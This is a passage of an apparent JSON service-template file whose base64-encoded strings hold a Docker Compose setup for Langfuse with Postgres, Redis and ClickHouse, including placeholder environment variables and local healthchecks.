ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjpsYXRlc3QnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUk